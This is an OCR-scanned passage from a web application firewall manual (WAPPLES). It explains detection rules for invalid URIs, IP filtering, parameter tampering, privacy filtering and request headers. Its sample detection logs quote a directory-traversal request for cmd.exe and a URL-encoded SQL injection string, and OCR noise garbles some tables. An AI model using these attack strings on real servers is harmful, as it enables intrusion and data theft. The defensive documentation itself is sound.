[Custom setting] When the Request Header does not have a Host field,
you can choose to detect the attempt of using the
protected server as Forward Proxy or not.

[Do not detect] Does not detect traffic that does not comply with HTTP

When an Invalid HTTP Attack is detected in said detection mode, select one of
four ways in the following table to cope with the attack:

Table 43. nterm r in
Mode Description
Disconnect Cuts the HTTP connection

Responds to the HTTP status code;
generally, an error code is sent when the
request message is prepared in incorrect
format or cannot be handled appropriately

Page redirection Goes to the designated error-handling page

The website will be recorded in the
detection log, but access to the web server
is not blocked. Use this option when you
do not want to block websites.

Error code

Detection only

If you select [Error code], the HTTP status code and meaning can be [Table 145.
HTTP Status Code and Meaning] of [XV1I1.4 Error Handling Status Code].

If you allow traffic without a host field in the custom settings for Invalid HTTP,
this means you are applying the policy for “Unregistered Website” for the
detection of traffic with an unknown host field.
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2.11 Invalid URI

01 Overview

URI that does not comply with the format specified in RFC can cause a
malfunction in the web server or the web application.

02 Example of Attack

This is the attack that inserts characters that are not compliant with the language’s
specification or are non-interpretable into URI to cause system malfunction.

Character Set : \ Windows-1252 <Western Europe;‘

|Field Walue
Policy 3. Standard Security Level PRSI B
Rule Invalid URI | Raw Data | Decoded Data|

Source Address  192.168.3.156

GET /scripts/..%%0c1%
Source Country  Unknown

ic.. /winnt /system32 /cmd.exe?/c+dir

destination ad... 192.168,3.153:80 HTTP/{l 1
Time 9/15/2010 3:29:34 &AM Host: 192.168.3.153
webSite Unregistered website

Connection: Close

Requested LR /scripts/. % 1C../winntfsyste... | | |l jser-Agent; Sphere Acceptance Tester v3.0

Countermeasure  Error code
risk 0 {Low)

| Reason of detection
Encoded Control Character attack is detected.

Fig. VI-14. Details of the Invalid URI Attack Detection Log

03 Countermeasure
Have the web server or the web application filter the URI input.

WAPPLES supports two detection modes as in the table below to cope with the
Invalid URI attack.

Table 44. Invalid URI Detection Modes
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Mode Description

[Detect URI attack]  Detects inappropriate URI such as the use of characters
that are not accepted in URI or improper encoding
[Do not detect] The corresponding rule will not be detected.

When an Invalid URI Attack is detected in said detection mode, select one of four
ways in the following table to cope with the attack:

Table 45. Countermeasure Setting

Mode Description

Disconnect Cuts the HTTP connection

Responds to the HTTP status code;
generally, an error code is sent when the
request message is prepared in incorrect
format or cannot be handled appropriately.
Page redirection Goes to the designated error-handling page
The website will be recorded in the
detection log, but access to the web server
is not blocked. Use this option when you
do not want to block websites.

Error code

Detection only

If you select [Error code], the HTTP status code and meaning can be [Table 145.
HTTP Status Code and Meaning] of [XVII1.4 Error Handling Status Code].

04 Exceptions

If the detection of the Invalid URI is not appropriate for the web page, the
administrator can exclude the corresponding web page from Invalid URI
detection depending on the website environment. For details on excluding
websites from detection, refer to [X1.7]
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2.12 IP Filtering

01 Overview

This filters the IP of the client accessing the server. General IP, combination of IP
and netmask, and IP allocated to each country can be filtered.
02 Example of Attack

This cannot be clearly identified as an attack, but it can be detected; the accessing
IP can also be blocked.

The following shows an example of detecting access by an IP that is not included
in the list of registered IPs and countries:

Field

Policy

Rule

Source Address
Source Country
destination ad...
Time

WebSite
Requested URI
Countermeasure
risk

Walue

Custorn Policy

1P Filtering
192.168.3.157
Unknown
192.168.3.153:80
9/15/2010 4:03:17 AM
192.168.3.153

!

Error code

0 (Low)

Character Set ; [V\}Qindows-1252-zwgsvtem Europe v}

Data Stream

Raw Data | Decoded Data |

GET / HTTP/1.1

Accept: image/ipeqg, application/x-ms-application,
image/gif, application/xaml+xml, image/pipeg,
application/x-ms-xbap, applicationfvnd.ms-excel,
application/vnd.ms-powerpoint,
application/msword, */*

Accept-Language: ko-KR

User-Agent: Mozilla/4.0 (compatible; MSIE 8.0;
Windows NT 6.1; Trident/4.0; SLCC2; NET CLR
2.0.50727, NET CLR 3.5.30729; NET CLR
3.0.30729; Media Center PC 6.0; InfoPath.2)
Accept-Encoding: gzip, deflate

Host: 192.168.3.153

Connection: Keep-Alive

Reason of detection

This IP is detected 192.168.3.157 filter,

Fig. VI-15. Details of the IP Filtering Attack Detection Log
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03 Countermeasure
You can configure filtering for the IP or country added by the user. When
configuring filtering, you can choose to filter the IP added by the user or specific
countries or permit only the IP added by the user or specific countries.

IP Block and IP Filtering have the following differences:

The country’s IP is determined by the international IP allocation registered in
InterNIC and is updated regularly through WAPPLES Online Update.
Thus, there may be errors due to the time difference.

Table 46. Difference Between IP Block and IP Filterin
IP Block IP Filtering
IP is added according to the No IP will be automatically added,
detections and  countermeasures but IPs can be added by each country.

accumulated by other rules.

IPs registered as blocked IP will be
blocked by all means. (“Permit
Connection” means that automatic
blocking is disabled.)

Decide to block all registered IPs or
allow registered IPs only.

Automatically removed from the IP isnot removed automatically.
block list on the designated time for

removal

If the IP is included in the block list, it
will be blocked regardless of the host
or policy.

You can make a list of IPs for each
policy.

If the IP is included in the block list,
all traffic through WAPPLES will be
blocked.

Only influences the web traffic
depending on the registered host

When an IP Filtering is detected in this mode, select one of four ways in the table

below to cope with IP Filtering.

Table 47.

rm r in

Mode

Description

Disconnect

Cuts the HTTP connection
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Error code

Responds to the HTTP status code;
generally, an error code is sent when the
request message is prepared in incorrect
format or cannot be handled appropriately

Page redirection

Goes to the designated error-handling page

Detection only

The website will be recorded in the
detection log, but access to the web server
is not blocked. Use this option when you
do not want to block websites.

If you select [Error code], the HTTP status code and meaning can be [Table 145.
HTTP Status Code and Meaning] of [XVI1I1.4 Error Handling Status Code].

04 Types of Settings

The custom setting for IP Filtering has two lists and one option.

For the IP List setting, enter the IP or IP/netmask bit in the field below and click
[Add] to register the IP or select the IP to be deleted and click [Delete] to delete it.

For the List of Countries, check the checkbox before the corresponding country.

As an option, you can choose to detect the IPs in the list you prepared or IPs that

are not in the list.

The following is an example of custom setting for IP Filtering:

Ip Filtering

Ip Filtering

EEX

() Filter IP/Country included in the list

(O Filter IP/Country not included in the list
IP List ‘ Country List
; "‘Sréii'ei:t Cﬁuntfy Néme
\ Afghanistan

Albania

\ Algeria
Armerican Samoa
Andorra
Angola

oooooo

o

¥

[ Confirm H Cancel ]

Fig. VI-16. Custom Setting for IP Filtering
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05 Exceptions

If the detection of IP Filtering is not appropriate for the web page, the
administrator can exclude the corresponding web page from IP Filtering detection
depending on the website environment. For details on excluding websites from

detection, refer to [X1.7]
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2.13 Parameter Tampering

01 Overview

This type of attack modifies the URL or parameter of a web application into
values that are not intended by the programmer to launch an attack. This attack
can cause unexpected malfunction or detour the security mechanism of the web
application when the web application fails to verify the user-inputted values
properly.

The attacker manipulates SQL by modifying the parameters included in the URI
or modifies the hidden field of the HTML document to launch an attack.

02 Example of Attack
When the attacker attempts to access the web server without additional

information to secure integrity with Parameter Tampering enabled in WAPPLES,
it will not be considered a normal connection.

The following is an example wherein access attempt was detected since no
additional information was provided to secure integrity:
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[Field Value
Policy Custorn Policy
Rule Parameter Tampering

Source Address  192.168.3.156

Source Country  Unknown

destination ad... 192,168.3.153:80

Time 9/15/2010 3:24:11 AM
WebSite 192.168.3.153

Requested URI  fopen/cyber_bid/bid_view.asp
Countermeasure  Detection only

risk 0 (Low)

| - Reason of detection

Character Set : | Windows-1252 <Western Iiuébp97; |

Data Stream
Raw Data | Decoded Data |

POST fopen/cyber_bid/bid_view.asp HTTPf1.1
Accept: *f*

Content-type: applicationfx-www-form-urlencoded
Host: 192.168.3.153

Connection: Close

User-agent: Sphere Acceptance Tester v3.0
Content-Type: application/s-www-form-urlencoded
Content-Length: 189

GU_CHANNEL =A000&GU_DOC=AGRCD_DOC=4G108n0=348%
208nd%20(select%20Top%201%20cast (id%20as%20varchar
(20))%2Bchar (124 )%20from%.20[yangchon]. [dbo].
[sysobjects]%20where%20name="week_report')=0

Walue for guaranteeing integrity is NULL.

Fig. VI-17. Details of the Parameter Tampering Attack Detection Log

03 Countermeasure

Filter the input in the web server or web application. The negative method that
filters specific parameters or patterns is inefficient for repair and maintenance.
Verify the parameters by using the positive method that accepts permitted values

only.

WAPPLES supports two detection modes as in the table below to cope with the

Parameter Tampering attack.

Table 48. Parameter Tampering Detection Modes

Mode Description
[Detect falsification Detects the attack that sends the parameter that is not
of parameter] requested by the website or manipulates the
parameter sent from the website
[Do not detect] The corresponding rule will not be detected.
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When you handle a parameter using JavaScript with the web page, it can be
detected as Parameter Tampering; false positives can occur frequently
when this rule is applied to the website that frequently uses JavaScript.

When a Parameter Tampering Attack is detected in this mode, select one of four
ways in the following table to cope with the attack:

Table 49, nterm r ttin
Mode Description
Disconnect Cuts the HTTP connection

Responds to the HTTP status code;
generally, an error code is sent when the
request message is prepared in incorrect
format or cannot be handled appropriately

Page redirection Goes to the designated error-handling page

The website will be recorded in the
detection log, but access to the web server
is not blocked. Use this option when you
do not want to block websites.

Error code

Detection only

If you select [Error code], the HTTP status code and meaning can be [Table 145.
HTTP Status Code and Meaning] of [XVII1.4 Error Handling Status Code].

04 Exceptions
If the detection of Parameter Tampering is not appropriate for the web page, the
administrator can exclude the corresponding web page from Parameter

Tampering detection depending on the website environment. For details on
excluding websites from detection, refer to [X1.7]
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2.14 Privacy File Filtering
01 Overview
Document-type files can be posted on the website. When a document containing

personal information is posted on the website, it faces the risk of exposing
personal information.

02 Example of Attack

In the following example, the uploading of an MS Word document containing a
telephone number was detected:

Character Set : ‘ Windows-1252 <Western Europe vi

| Field Value

oo custompoy by

Rule Privacy File Filtering Raw Data | Decoded Data

Source Address  192,168.3.157 Upload File Mame @ C:\Documents and SettingsikasonDesktop
Source Country  Unknown \doc_phone.doc

destination ad... 192.168.3.153:80

Time 9/15/2010 4:25:52 AM

WebSite 192,168.3.153

Reguested URI  /bbsfwrite_ok.php
Countermeasure Error code
risk 0 (Low)

Reason of detection

" [telephone nurmber] &
(011-248-1235 i

Fig. VI-18. Details of the Privacy File Filtering Attack Detection Log

03 Countermeasure

When a document containing sensitive personal information is uploaded to the
board or archive, WAPPLES analyzes the contents of the file and detects personal
information recorded in the file (Social security number(currently only for Korea
but extensible), credit card number, telephone number, email address, residential
address, etc.).
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The following documents are supported:

® Microsoft Word

Microsoft Excel

Adobe PDF

Plain text

Microsoft PowerPoint

Compressed files (*.zip, *.rar, *.gz)

WAPPLES supports four detection modes as in the table below to cope with the

Privacy File Filtering attack.

Tabl . Priv File Filtering D ion M

Mode

Description

[Detect all kinds of
personal information]

Inspects whether the document uploaded to or
downloaded from the website contains social
security number, credit card number, email,
address, telephone number, etc.

[Detect important
personal information]

Inspects whether the document uploaded to the
website contains important personal information
such as social security number and credit card
number

[Custom setting]

The user can define whether the document will be
detected during upload or download

and whether detection will include the corporate
registration number, business registration number,
bank account number, email, telephone number,
social security number, alien registration number,
address, credit card number, etc.

[Do not detect]

The corresponding rule will not be detected.

When a Privacy File Filtering Attack is detected in said detection mode, select
one of four ways in the following table to cope with the attack:

T

1. nterm r in

Mode

Description

Disconnect

Cuts the HTTP connection
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Responds to the HTTP status code;
generally, an error code is sent when the
request message is prepared in incorrect
format or cannot be handled appropriately
Page redirection Goes to the designated error-handling page

The website will be recorded in the
detection log, but access to the web server
is not blocked. Use this option when you
do not want to block websites.

Error code

Detection only

If you select [Error code], the HTTP status code and meaning can be [Table 145.
HTTP Status Code and Meaning] of [XVI1I1.4 Error Handling Status Code].

04 Exceptions

If the detection of Privacy File Filtering is not appropriate for the web page, the
administrator can exclude the corresponding web page from Privacy File Filtering
detection depending on the website environment. For details on excluding
websites from detection, refer to [X1.7]
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2.15 Privacy Input Filtering

01 Overview

This analyzes the contents of the Request Message transmitted to the web server
through the web board, etc., and detects the personal information (social security
number, alien registration number, credit card number, telephone number, email
address, residential address, corporate registration number, business registration
number, bank account number) recorded in the message. When the Request
Message containing personal information is transmitted to the web server, the
influx of personal information is prevented in advance. This does not change the
contents of the Request Message but only detects and blocks the Request
Message when it contains personal information. The rule should be applied
according to the characteristic of the board.

02 Example of Attack

In the following example, the Request Message was detected since it includes
email:

Character Set : \‘_Wind»ows—1252 <Western Europe v‘

Field Walue

Policy Custom Policy Eatisgeian?

Rule Privacy Input Filtering Raw Data |Decoded Data|

Source Address  192.168.3.157 cracker@oc.com ~
Source Country  Unknown I — e L . i
destination ad... 192.168.3.153:60 Content-Disposition: form-data; name="homepage

Time 9/15/2010 4:32:25 AM

WwebSite io2aesgiss 090 Wekssasi 7da360101902%

Content-Disposition: form-data; ="subject"
Requested URI  fbbsjwrite_ok.php ontent-Disposition: form-data; name="subjec

Countermeasure  Detection only card number test

% otem Ml e 7da3601019029e

Pk 0 (Low) Content-Disposition: form-data; name="memo"
50728 SR 1 1

7da3601019029
Content-Disposition: form-data;
name="sitelink1"

7da3601019029%
~rntent-Nienneitinn: farm-data: M
Reason of detection
[ iard number] G
S 1 v

Fig. VI-19. Details of the Privacy Input Filtering Attack Detection Log
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03 Countermeasure

This inspects the contents of the Request Message transmitted to the web server
through web boards, etc., to check whether it includes personal information. If the
Request Message includes personal information, you can notify the user and
administrator and block the message or display a warning depending on the

circumstances.

WAPPLES supports three detection modes as in the table below to cope with the
Privacy Input Filtering attack.

Table 52. Privacy Input Filtering Detection Modes

Mode

Description

[Detect  social

number and credit

card number]

1D

Inspects whether the HTTP Request Message
contains a social security number or a credit card
number

[Detect  social
number]

1D

Inspects whether the HTTP Request Message
contains a social security number

[Custom setting]

The user configures WAPPLES to inspect whether
the HTTP Request Message contains corporate
registration number, business registration number,
bank account number, email, telephone number,
social security number, alien registration number,
address, or credit card number.

[Do not detect]

The corresponding rule will not be detected.

When a Privacy Input Filtering Attack is detected in said detection mode, select
one of four ways in the following table to cope with the attack:

Table 53. Countermeasure Setting

Mode Description
Disconnect Cuts the HTTP connection
Responds to the HTTP status code;
generally, an error code is sent when the
Error code

request message is prepared in incorrect
format or cannot be handled appropriately

Page redirection

Goes to the designated error-handling page

Detection only

The website will be recorded in the
detection log, but access to the web server
is not blocked. Use this option when you
do not want to block websites.
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If you select [Error code], the HTTP status code and meaning can be [Table 145.
HTTP Status Code and Meaning] of [XVI1I11.4 Error Handling Status Code].

04 Exceptions

If the detection of Privacy Input Filtering is not appropriate for the web page, the
administrator can exclude the corresponding web page from Privacy Input
Filtering detection depending on the website environment. For details on

excluding websites from detection, refer to [XI1.7]
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2.16 Privacy Output Filtering
01 Overview

Blocks information that can be leaked through the web service; this is used to
block the leak of personal information such as credit card number

02 Example of Attack

This is an example wherein the HTTP Response Message included a credit card
number and it was detected.

Log details E]‘ = @
; 2 Character Set : (Windows-lESZWestem Europe vii}
|Field Walue |
| Policy Custom Policy | D,ati,s,tle,fn o B
‘ERuIe Privacy Output Filtering Raw Data | Decoded Data
|Source Address  192.168.3.157 | | [9%>800923-1005212< ftextareas < /td> ~
{Source Country  Unknown || |zdtr>
‘Edestination ad... 192.168.3.153:80 et
;Time 9/15/2010 4:39:35 &AM | <td><img src=skin/WS_Board_no_3
| WebSite 192.1638.3.153 | | |_blackngray_korfifi_link1.gif> < ftd>
| : | <td> <input type=text name=sitelinkl value="" size=62
{Requested URT  fbbs/write.php | | Imaxlength=200 class=b_input style=width:99%:> < ftd>
;'Countermeasure Detection only <ftr>
%rlsk 0 (Low) 56,
<td> <img src=skinfWws_Board_no_3
_blackngray_korfifi_link2.gif> < ftd>
<td> <input type=text name=sitelink2 value="" size=62
maxlength=200 class=b_input style=width:99%: < ftd>
<ftr>
<tr>
<td> <img src=skin/WS_Board_no_3
_blackngray_korfifi_uploadl.gif> < /td>
<td=<input type=file name=flel size=50 maxlength=255
class=b_input style=width:99%> </td> R
Reason of detection
& [innurnber ] S
[ | 12 M

Fig. VI-20. Details of the Privacy Output Filtering Attack Detection Log
03 Countermeasure

You can block the entire page or display only part of the number when the leak of
credit card number is detected.

WAPPLES supports four detection modes as in the following table to cope with
the Privacy Output Filtering attack:
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Table 54. Priv. tput Filtering Detection M
Mode Description
[Detect all kinds of private | Inspects whether the HTTP Response

information]

Message contains a social security number
or a credit card number

[Detect social ID number | Inspects whether the HTTP Response
leakage] Message contains a social security number
[Custom [Prevent Determine  whether WAPPLES  will
Setting] Social ID | prevent the leak of social security humber
Number with a True/False flag.
leakage] [Social ID Number Print Method]
determines how to display each segment of
the social security number. The X part is
converted into “*” before being sent to the
website user.
[Ignore hidden field Social ID Number] is
a true/false flag indicating whether
WAPPLES will inspect the social security
number field for modification when the
HTML tag is set to hidden.
[Prevent Determine  whether WAPPLES  will
Credit Card | prevent the leak of credit card number with
Number the True/False flag.
leakage] [Credit Card Number Print Method]
determines how to display each segment of
the credit card number. The X part is
converted into “*” before being sent to the
website user.
[Address Determine whether the address included in
Filtering] the Http Response Message will be
inspected.
[Prevent Address leakage] is a true/false
flag indicating whether WAPPLES will
prevent the leak of address information.
[Bank Use the true/false flag to indicate whether
Number WAPPLES will prevent the leak of
Filtering] account number information.

[User-Defined]

[For of Bank Account number] takes the
numerical values of the bank account
number. Enter the number of consecutive
numbers. If the account number format
does not exist, the account number will not
be inspected.

Ex.)000-0000-00-000 -> 3423
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Mode

Description

[Email
Filtering]

Determine whether the email included in
the Http Response Message will be
inspected.

[Prevent Email leakage] is a true/false flag
indicating whether WAPPLES will prevent
the leak of email information.

[Phone
Filtering]

Decide whether the telephone number is
included in the Http Response Message.
Decide whether telephone number leak
prevention will be enabled or not with
True/False for [Prevent Phone Number
leakage]

[Prevent
Corporate
Registration
Number
leakage]

Set whether corporate registration number
disclosure prevention will be enabled or
not with the True/False value.

[Corporate Registration Number Print
Method] determines whether or not each
block of the corporate registration number
will be displayed. X will be converted into
“*” and displayed to the website user.

[Prevent
Business
Registration
Number
leakage]

Decide whether business registration
number disclosure prevention will be
enabled or not with the True/False value.
[Business Registration Number Print
Method] determines whether or not each
block of the corporate registration number
will be displayed. X will be converted into
“*” and displayed to the website user.

[Do not detect]

The corresponding rule will not be
detected.

@ For the social security number, account number, corporate registration
number, and business registration number, only the format used within

Korea will be detected.
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Coporate Registration Number 000000_0000000 ~|
B Prevent CreditCard Numberleakage
Credit Card Mumber True

T T R TR SRR 0000 _XXXX_XXXX_XX00 +

a PreventSoclaIID Numberl 0000_0000_0000_0000

_ Social ID Number
CreditCard NumberPrintMe

| Confirm | [ Cancel ]:

Fig. VI-21. Custom Setting Window for Privacy Output Filtering

When a Privacy Output Filtering Attack is detected in said detection mode, select
one of four ways in the following table to cope with the attack:

Table 55. Countermeasure Setting

Mode Description

Disconnect Cuts the HTTP connection

Responds to the HTTP status code;
generally, an error code is sent when the
request message is prepared in incorrect
format or cannot be handled appropriately
Page redirection Goes to the designated error-handling page

The website will be recorded in the
detection log, but access to the web server
is not blocked. Use this option when you
do not want to block websites. For Privacy
Output Filtering, the detection items will
Detection only be displayed according to the output type
for each item defined in the custom setting.
Ex.) Card number display type:
O000_XXXX_XXXX_0000
Actual output:
1234 *khkk kkhkkk 5678

Error code

If you select [Error code], the HTTP status code and meaning can be [Table 145.
HTTP Status Code and Meaning] of [XV111.4 Error Handling Status Code].
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@ If you wish to define the string to be detected as a variable string for
Privacy Output Filtering, you must set the response option to [Do Not
Block].

04 Exceptions

If the detection of Privacy Output Filtering is not appropriate for the web page,
the administrator can exclude the corresponding web page from Privacy Output
Filtering detection depending on the website environment. For details on
excluding websites from detection, refer to [XI1.7]
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2.17 Request Header Filtering
01 Overview

After checking the HTTP Request Header, filter by judging the existence of field
and value.

According to customer setting, by limiting contents of the HTTP Request Header
Field, be able to restrict browser, and limit or block the access of client that is not
allowed.

02 Example of Attack

[Fig. VI-22. Reqeust Header Filtering; In cae of blocking simple worm] This is
an example of detection due to absence of User-Agent value on HTTP Request
Header.

Character Set © | ks_c_S601-1987 <Korean: w
Field Walue
Policy 333333333333 IO it
Rule Request Header Fittering Raw Data | Decoded Data
Saurce Address |192,155.3.48 HEAD /ResponseTest.asp HTTP/1.1
Source Country  Unknown Host:192.168.3.68
destination ad... 192.168.3.68:80
Timne 10/11/2010 9:22:06 PM
WehSite 192.1668.3.68

Reguested URI  fResponsaTest.asp
Countermeasure  Detection only
risk 0 (Low)

Reason of detection
There is no reguisite value of HTTP Request Header,

Fig. VI-22. Regeust Header Filtering; In cae of blocking simple worm

Request Header Filtering provides [White list], [Black list], and [Block
smartphones] through custom setting. By passing traffic that has keys and values
registered at the list, [White list] works. By blocking traffic that has keys or
values registered at the list, [Black list] works. By blocking access from
smartphones having platforms of iPhone, Android, Blackberry., [Block
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smartphones] works.
[Fig. VI-23. Custom Setting Window of Request Header Filtering 1] is the
example of setting [White list] function of [Custom setting] as below.

@ Allow only traffics that have value of ‘Mozila’ on Uesr-Agent value.

@ Allow only traffics that have Accept Key among Request Header names.
If this setting is applied, HTTP request shown by [Fig 91 Custom Setting

Window of Request Header Filtering 1] is detected since it does not have value of
‘Mozila’ on User-Agent value(Sphere acceptance Tester v2.1).

Request Header Filtering

Request Header Filtering
Include list | Block list
Header : |User—Agent V|C0ntents List: User-Agent |
[ add ][ Delete ] Contents Same/Include
Mozila Include
Header
Accept
ser-Agent
[ add |’ Delete HInclude Vl
Contents : | |
[ Confirm H Cancel ]

Fig. VI-23. Custom Setting Window of Request Header Filtering 1
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Log details E]'E'E]

Character Set : ‘ Windows-1252 <Western Europe v|

Field Walue
Policy Custom Policy2 Data Stream
Rule Request Header Filtering Raw Data | Decoded Data
Source Address  192.168.3.76 UMLOCK, fworkspace, webdayfinfo.doc HTTP/ 1.1
Source Country  Unknown Lock-Token: <opagquelocktoken:aS15cfad-5dad-2221-f5h5-
5 . 00a0451e6h{7 >
destination ad... |152.168.3.70:80 Authorization: Digest usernames="ejw", realm="ejw@foo.com",
Tirne 10/11/2010 5:12: 16 PM nonce="...", uri="fworkspacewebdav/proposal.doc”,
wehSite Unregistered website [ESponse="... , Opague="...

Host: 192.168.3.70

Connection: Close

Countermeasure  Error code User-agent: Sphere Acceptance Tester v2.1
tisk: O (Lowe)

Requested URI  fworkspacefwebdayfinfo.doc

Reason of detection
Attack is detected.

Fig. VI-24. Detection Example of Request Header Filtering Custom Setting

[Fig. VI-25. Custom Setting Window of Request Header Filtering 2] shows the
example of setting cache-control key of [Black list] of [Custom setting].

Request Header Filtering

Request Header Filtering

Include list Block list |

Header : | V| Contents List: |

[ Add ] [ Delete ] Caontents Same/Inciude

Header
Cachie-Cortrol

Acid ][ Delete Hlnclude ~

Cunteﬁts B

I Confirm H Cancel

Fig. VI-25. Custom Setting Window of Request Header Filtering 2
Since setting is configured as ‘blocking traffics that have cache-control’, be able

to see the result shown by [Fig. VI-26. Detection Example of Request Header
Filtering Custom Setting 2].
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Character Set : | ks_c_5601-1987 <Korean: v|

Field Walue

Palicy 333333333333 (S STEEm

Rule Request Header Filtering Raw Data | Decoded Data

Source Address 192,168,348 GET / HTTP/1.1

Source Country  Unknioswn Cache-Control; asd

destination ad... 102.168.2.68:80 Host: 192.1638.3.68

Tirme 10/11/2010 9:44:58 P Connection: Close

WebSite 192.168.3.62 IUser-Agent: Sphare Acceptance Tester v3.0

Requested URT  /
Countermeasure  Error code
risk 0 (L)

Reason of detection
Attack is detected.

Fig. VI-26. Detection Example of Request Header Filtering Custom Setting 2

[Fig. VI-27. Custom Setting Window of Request Header Filtering 3]
shows the example of setting access control for iPhone of [Block smartphones] of [
Custom setting]

AOIEEE 2|~E &S A AQIEEE I AE
Android iPhone
BlackBerry

IR

Fig. VI-27. Custom Setting Window of Request Header Filtering 3

Since detect and block accesses to web through iPhone, [Fig. VI-28. Detection Exa
mple of Request Header Filtering Custom Setting 3] will be shown.
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Request Header Filtering
192,168, 21,211

Unknown

192, 168.21,29:88
2010-12-16 2% 35519
OS=E dAMIE

/

FEGHA GES

0{sh

o
Character Set | ks_c_5b601-1987 <Korean> v
OI0E ~E=
Fiaw Data | Decoded Data
GET / HTTRA11 A

Host: 192, 166,21, 29:58

User-agent: Mozilla/5.0 (iPhone: U: CPU
iPhone OS 4_1 like Mac OS X: ko—kr)
AppleWebKit/532.9 (KHTML, like Gecko)
Version/4.0.5 Mobile/8B117
Safari/6531.22.7

Accept:

application/=ml, application/xhtml+xml, text/himl
1q=0.9,text/plain:g=0.8,image/png, /=05
Accept-Language: ko—kr

Accept-Encoding: gzip, deflate

Connection: keep-alive

ErA 2H

FEte 2 AEHE HEH2 Mozilla/5,0 (iPhone; U CPU iPhone 05 4_
1 like Mac OS5 X; ko—kr) Apple'WebKity/532.9 (KHTML. like Gecka)
Wersion/d,0,5 Mobile/0B117 Safari/6531,22 7 LA 0| BFA| IS &L
Lt

Fig. VI1-28. Detection Example of Request Header Filtering Custom Setting 3

03 Countermeasure

WAPPLES supports three detection modes in the following table to cope with the

Request Header Filtering attack:

[Custom setting] confirms flexibility of detection appropriate for user
environments by limiting Field and Value of HTTP request. [Table 58. Custom
Setting Field List] shows example of Value and brief description for each HTTP

request Field.

Table 56. Request Header Filtering Detection Modes

Mode Description
[Detect basic Detect if there is no User-Agent among HTTP Request
worms] Header Field.

Check existence of Value for each field, and detect in the

case of ‘NULL".

[Custom setting]

User defines HTTP Request Header Field and Value. Field
and Value are separately set according to [White list] and
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Mode

Description

[Black list].

Each Value for set Field can be classified as

‘carrespondent” and ‘include(partly correspondent)’. Able

to check only Field without checking Value. About

whether block or not traffics that come in for each

customer setting case, refers [Table 57. Detection for each

custom setting case].

Since detection use ‘OR’ calculation method, traffics that
fall under one of criteria are detected.

Also, access control for smartphone is available.

[Do not detect]

The corresponding rule will not be detected.

Table 57. D ion for each m in
Custom setting Key Value Result
O(Correspondence) Detected
O(Inclusion) Not
Value o X ﬂle;tected
Correspondence
P detected
X Irrelevant Not
detected
Black list (0] Detected
Value o X Not
Inclusion detected
X Irrelevant Not
detected
0] Irrelevant Detected
Key Checking X Irrelevant Not
detected
White list O(Correspondence) Not
detected
Value 0 O(Inclusion) Detected
Correspondence X Detected
X Irrelevant Detected
(0] Not
Value 0 detected
X Irrelevant Detected
0] Irrelevant Not
Key Checking O detected
Null Detected
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Custom setting Key Value Result

X Irrelevant Detected

When users choose [Custom setting] as Request Header Filtering detection modes,
[Field] of below table can be set as detection criteria.

Tabl . tom Setting Field L.ist
Field Description
Accept Able to be used to designate specific media type that is
allowed.

Ex) Accept: text/plain; g=0.5, text/html,
text/x-dvi; g=0.8, text/x-c

Accept- Used to represent sets of characters that is allowed.
Charset EXx)
Accept-Charset: is0-8859-5, unicode-1-1;0=0.8
Accept- lough similar to Accept, Content-codings that canSbe used as
Encoding response is limited.
Ex) Accept-Encoding: compress;q=0.5, gzip;q=1.0
Accept- Similar to Accept. Able to restrict set of language preferred
Language as response.
0ll) Prefer Danish, but allow British English and other types
of English.
Accept-Language: da, en-gb;q=0.8, en;q=0.7
Allow Able to specify adopting valid method related to resource.

Although it is not possible to prevent client form using the

other method, must comply with contents that is shown by

Allow Header Field.

Ex) Allow: GET, HEAD, PUT

Authorization  User-agent trying to validate himself on server is allowed to

acquire his own certification including Authorizatioctn
Request Header Field(Not always, but mostly after
receiving 401 response).

Connection Used to clarify options to which specific connection wants
by sender, and in case of additional connection, forbidden to
communicate through proxy.

Ex) Connection: close

Content- Used mostly to compact documents without losing basic
Encoding media type.

Ex) Content-Encoding: gzip
Content- Enables users to distinguish entity by using his preferred
Language language.

Ex) Contents is for men who can understand Danish.
Content-Language: da
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Field

Description

Content-
Length

Used to represent size of message-body that sends this field
without considering media type.
Ex) Content-Length: 3495

Content-Type

Used to represent entity-body that is sent to receiver.
Ex) Content-Type: text/html; charset=1S0O-8859-4

ETag

Defines entity tag of relevant entity. Also, can be used to
compare with other resource of same resource..
Ex) ETag: W/"xyzzy"

Expires

Provides the date at which response is considered to be old
after that time.
Ex) Expires: Thu, 01 Dec 1994 16:00:00 GMT

Host

Specify internet host and port number of resource that is
being required as getting from original URL given by users
or resources that is going to be referred.

Ex) Host: www.w3.org.

If-Match

ake method conditionally with method. Client who has at least
one entity that is acquired before can prove that one of these
entities is current one including relevant entity tag list.
Object of this function is updating cached information
efficiently optimizing transaction overhead. Also It can be
used to prevent careless change of wrong version of
resources when update request.

Ex) If-Match: "xyzzy", "r2d2xxxx", "c3piozzzz"

If-Modified-
Since

Make GET method conditionally with GET method.
Ifrequired variable has not been changed since it is clarified
on this field, entity is not returned by server.

EXx)
If-Modified-Since: Sat, 29 Oct 1994 19:43:31 GMT

If-None-Match

Make method conditionally with method. Client who has at
least one entity that is acquired before can prove that one of
these entities is current one including relevant entity tag list..

If-Range If client has partial copy of entity on his own cache, and wants
to have the most recently updated copies of whole entities,
able to use conditional Range request-header of GET.

If- Make method with using method together. If required

Unmodified- resource is not changed even after the known time, Server

Since should operate received working as if If_Unmodified-Since

does not exist.

Last-Modified

Display date and time that original server belives tEx) Last-
Modified: Tue, 15 Nov 1994 12:45:26 GMT

Max-Forwards

Restrict the number of proxy and gateway with TRACE
method

Referer

Used to clarify the address of resource that client acquired
for server

Ex)
Referer:http://www.w3.org/hypertext/DataSources/Overview
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Field

Description

.html

User-Agent Includes information related to User-Agent which made

Request. This is

used to detect user agent who is trying to

modify Response to avoid object of statistics, tracing
violation of protocols, and limit of specific user-agent
nt: CERN-LineMode/2.15 libwww/2.17b3

WAPPLES supports four detection modes as in the following table to cope with

the Request Header Filtering attacks:

Table 59. Countermesaure

Mode

Description

Disconnection

Cuts the HTTP connection

Error code

Responds to the HTTP status code;
generally, an error code is sent when the
request message is prepared in incorrect
format or cannot be handled appropriately

Page redirection

Goes to the designated error-handling page

Detection only

The website will be recorded in the
detection log, but access to the web server
is not blocked. Use this option when you
do not want to block websites.

If you select [Error code], the HTTP

status code and meaning can be [Table 145.

HTTP Status Code and Meaning] of [XV1I1.4 Error Handling Status Code].

04 Exceptions

If Request Header Filtering detection is not appropriate for the corresponding
web page, the administrator can exclude the corresponding web page from
Request Header Filtering detection depending on the website environment. For
details on excluding websites from detection, refer to [X1.7]

2.18 Request Method Filtering
01 Overview

Filters the HTTP method in HTTP requests that are unnecessary or can be abused
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for attack

02 Example of Attack

